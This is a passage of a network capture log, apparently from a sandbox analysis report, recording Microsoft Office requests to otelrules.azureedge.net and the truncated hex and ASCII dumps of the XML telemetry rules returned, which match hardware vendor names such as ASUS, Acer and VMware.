M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49721	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:19 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071220Z-1777c6cb754xrr98hC1TEB3kag000000094g000000005x4q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49724	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:19 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071220Z-185f5d8b95c95vpshC1NYC759c00000009t000000000ppmq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49725	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:20 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071220Z-185f5d8b95c68cvnhC1NYCfn7s00000009ug00000000faxa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49726	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:20 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:20 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 4a7db69e-a01e-0084-45ec-3a9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071220Z-185f5d8b95c95vpshC1NYC759c00000009vg00000000dum7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:20 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49727	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:20 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071220Z-185f5d8b95cgrrn8hC1NYCgwh400000009v0000000001pnu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49728	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:20 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:20 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071220Z-185f5d8b95cjbkr4hC1NYCeu2400000009v0000000000pez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:20 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49729	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:20 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:20 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071220Z-r1d97b99577kk29chC1TEBemmg00000008mg000000005k9h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:21 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49730	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:20 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:20 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a1cde93a-f01e-0020-638c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071220Z-185f5d8b95crl6swhC1NYC3ueg00000009x000000000q21t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:21 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49731	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:21 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f1ce2f4-701e-0001-5e8c-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071221Z-185f5d8b95cf7qddhC1NYC66an00000009wg00000000h9s8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49734	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:21 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:21 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071221Z-185f5d8b95c4vwv8hC1NYCy4v40000000a3g000000002vfd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:22 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49733	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:21 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:21 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071221Z-r1d97b9957744xz5hC1TEB5bf800000008d00000000092v9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49735	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:21 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:22 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:21 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 947c7cf8-001e-00a2-018c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071221Z-1777c6cb754whff4hC1TEBcd6c00000007v000000000dp5t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:22 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 